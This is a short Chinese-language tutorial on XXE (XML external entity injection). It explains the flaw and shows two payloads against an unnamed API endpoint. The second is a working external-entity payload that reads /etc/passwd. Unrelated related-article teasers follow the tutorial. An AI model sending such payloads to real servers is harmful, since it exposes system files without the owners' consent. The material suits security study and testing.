XXE 外部实体注入漏洞

简介: XXE 外部实体注入漏洞

XXE -"xml external entity injection"既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

实战

XXE漏洞挖掘

1.xml是什么可以查看https://www.w3school.com.cn/x.asp网站哈,里面写的很详细,全栈攻城狮必备网站,基础就不过多介绍了,因为实在太多了,一篇文章写不下。

2.直接实战如何挖掘,这里有一个api接口,随便提交点啥。没反应,哈哈习惯了,直接跳过哈。

image.png

3.构造一个payload,直接输入即可,发现可以执行

<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY hacker "ESHLkangi">]><name>&hacker;</name>

image.png

4.再次构造一个payload来读取任意文件,可以直接读取成功。

<?xml version="1.0"  encoding="UTF-8"?><!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><name>&xxe;</name>

image.png

5.总结,各位如果想要搭建测试环境建议使用下面文章中的方法,其他方法试了很多都无法复现该漏洞。

相关文章
|
人工智能 数据可视化 数据挖掘
DataV AI 智慧升级 | 更懂大屏更懂你
DataV AI 智慧升级 | 更懂大屏更懂你
364 2
|
人工智能 数据可视化 数据处理
从0到1只需“拖一拖”,开发时间按秒算——低代码到底有多牛
低代码平台正颠覆传统软件开发模式,通过可视化开发、模块化组件和自动化工具,将复杂开发过程大大简化。开发者只需“拖拽”组件和配置参数,即可快速构建应用,无需复杂编程。低代码平台支持实时预览、自动代码生成和快速部署,极大提高了开发效率,满足多样化业务需求。其核心引擎(如SQL引擎、功能引擎等)的升级,进一步提升了性能与灵活性。此外,模型驱动开发、智能数据处理及AI融合,使得低代码平台不仅简化开发流程,还为企业提供高效、灵活的技术解决方案,推动企业数字化转型。未来,低代码将成为智能化开发的关键趋势。
686 18
|
搜索推荐 BI
Typecho 入门指南:个人博客网站主题模板及插件更换!
本文介绍了为Typecho个人博客定制专属风格和功能的方法。主要内容包括:更换主题(下载、上传并启用新主题)和安装插件(获取、上传及启用实用插件)。通过操作,可实现个性化外观与评论互动、数据统计等功能,让博客更丰富多样。文中附有详细步骤与图片说明,适合新手参考。
918 0
|
供应链 监控 数据可视化
如何通过库存看板优化企业的库存管理流程,提升供应链反应速度?
库存管理是现代企业管理的重要环节,尤其在制造业、零售业及电商领域。本文详细探讨了如何通过库存看板优化管理流程,从基本概念、工作原理、实际应用到实施步骤,帮助企业提升库存管理的效率与精度。库存看板通过实时监控、拉动系统和数据驱动决策,减少库存积压和缺货,提高库存周转率,支持企业实现精益管理。
如何通过库存看板优化企业的库存管理流程,提升供应链反应速度?
|
网络协议 关系型数据库 应用服务中间件
linux虚拟机中各服务端口及配置文件路径
linux虚拟机中各服务端口及配置文件路径
746 0
|
JavaScript
jquery实现单击div切换背景,再次单击回到原来样式
jquery实现单击div切换背景,再次单击回到原来样式
|
SQL Oracle Java
Spring JDBC-Spring事务管理之数据库事务基础知识
Spring JDBC-Spring事务管理之数据库事务基础知识
240 0
|
Web App开发 存储 监控
【ChromeDevTool】Performace的简单使用
【ChromeDevTool】Performace的简单使用
194 0
【ChromeDevTool】Performace的简单使用
|
Python
Python - typing 模块 —— Any Type
Python - typing 模块 —— Any Type
284 0
|
消息中间件 应用服务中间件 Apache